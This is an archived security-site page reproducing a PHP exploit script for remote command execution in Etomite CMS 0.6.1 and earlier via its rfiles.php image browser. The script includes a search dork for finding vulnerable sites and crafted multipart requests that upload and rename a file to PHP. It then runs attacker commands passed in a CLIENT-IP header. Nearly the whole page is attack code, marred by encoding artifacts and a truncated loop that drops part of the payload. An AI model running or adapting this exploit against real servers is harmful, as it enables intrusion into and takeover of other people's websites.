Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: b06-3863.htm

Etomite CMS <= 0.6.1 'rfiles.php' remote command execution



Etomite CMS <= 0.6.1 'rfiles.php' remote command execution
Etomite CMS <= 0.6.1 'rfiles.php' remote command execution



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\r\n";=0D 
echo "site: http://retrogod.altervista.org\r\n";=0D 
echo "google dork: \"Content managed by the Etomite Content Management System\"\r\n\r\n";=0D
=0D
/*=0D
works regardless of php.ini settings=0D
*/=0D
=0D
if ($argc<4) {=0D
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";=0D
echo "host:      target server (ip/hostname)\r\n";=0D
echo "path:      path to etomite\r\n";=0D
echo "Options:\r\n";=0D
echo "   -p[port]:    specify a port other than 80\r\n";=0D
echo "   -P[ip:port]: specify a proxy\r\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." localhost /etomite/ \r\n";=0D
echo "php ".$argv[0]." localhost / -P1.1.1.1:80\r\n";=0D
die;=0D
}=0D
=0D
/*=0D
software site: http://www.etomite.org/=0D 
=0D
explaination:=0D
=0D
if you can call directly rfiles.php script you can upload an image file, then=0D
you can rename it with .php extension, so you launch commands...=0D
=0D
*/=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
function make_seed()=0D
{=0D
   list($usec, $sec) = explode(' ', microtime());=0D
   return (float) $sec + ((float) $usec * 100000);=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$cmd="";=0D
$port=80;=0D
$proxy="";=0D
for ($i=3; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P"))=0D
{$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
srand(make_seed());=0D
$anumber = rand(1,999);=0D
=0D
$valid = array('gif', 'jpg', 'jpeg', 'png');=0D
for ($i=0; $i=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="chkThumbSize[0]"=0D
=0D
0=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="selRotate"=0D
=0D
=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="pr_title"=0D
=0D
=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="pr_alt"=0D
=0D
=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="pr_class"=0D
=0D
default=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="pr_align"=0D
=0D
=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="pr_border"=0D
=0D
=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="pr_vspace"=0D
=0D
=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="pr_hspace"=0D
=0D
-----------------------------7d6341a4e0c5a=0D
Content-Disposition: form-data; name="pr_captionClass"=0D
=0D
default=0D
-----------------------------7d6341a4e0c5a--=0D
';=0D
=0D
$packet ="POST ".$p."manager/media/ibrowser/scripts/rfiles.php HTTP/1.0\r\n";=0D
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";=0D
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";=0D
$packet.="Referer: http://".$host.$path."manager/media/ibrowser/ibrowser.php\r\n";=0D 
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6341a4e0c5a\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
sleep(1);=0D
=0D
$data='-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="lang"=0D
=0D
en=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="param"=0D
=0D
rename|suntzu'.$anumber.'.php.'.$valid[$i].'|suntzu'.$anumber.'.php=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="flist"=0D
=0D
1=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="cimg"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="ilibs"=0D
=0D
'.$path.'manager/media/ibrowser/temp/=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="randomParam"=0D
=0D
&w=150&h=150&zc=1=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="popClassName"=0D
=0D
default=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="popTitle"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="in_srcnew"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="in_dirnew"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="nfile[]"; filename=""=0D
Content-Type: application/octet-stream=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="chkThumbSize[0]"=0D
=0D
0=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="selRotate"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="pr_title"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="pr_alt"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="pr_class"=0D
=0D
default=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="pr_align"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="pr_border"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="pr_vspace"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="pr_hspace"=0D
=0D
=0D
-----------------------------7d62f31919f0218=0D
Content-Disposition: form-data; name="pr_captionClass"=0D
=0D
default=0D
-----------------------------7d62f31919f0218--=0D
';=0D
$packet ="POST ".$p."manager/media/ibrowser/scripts/rfiles.php HTTP/1.0\r\n";=0D
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";=0D
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";=0D
$packet.="Referer: http://".$host.$path."manager/media/ibrowser/ibrowser.php\r\n";=0D 
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62f31919f0218\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
sleep(1);=0D
=0D
$packet ="GET ".$p."manager/media/ibrowser/temp/suntzu".$anumber.".php HTTP/1.0\r\n";=0D
$packet.="CLIENT-IP: ".$cmd."\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
if (strstr($html,"my_delim"))=0D
{=0D
$temp=explode("my_delim",$html);=0D
echo "exploit succeeded...\r\n";=0D
die($temp[1]);=0D
}=0D
}=0D
//if you are here...=0D
echo "exploit failed...";=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/etomite_061_cmd.html=0D 
=0D
also sql injection:=0D
http://retrogod.altervista.org/etomite_061_sql.html=0D 
=0D


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH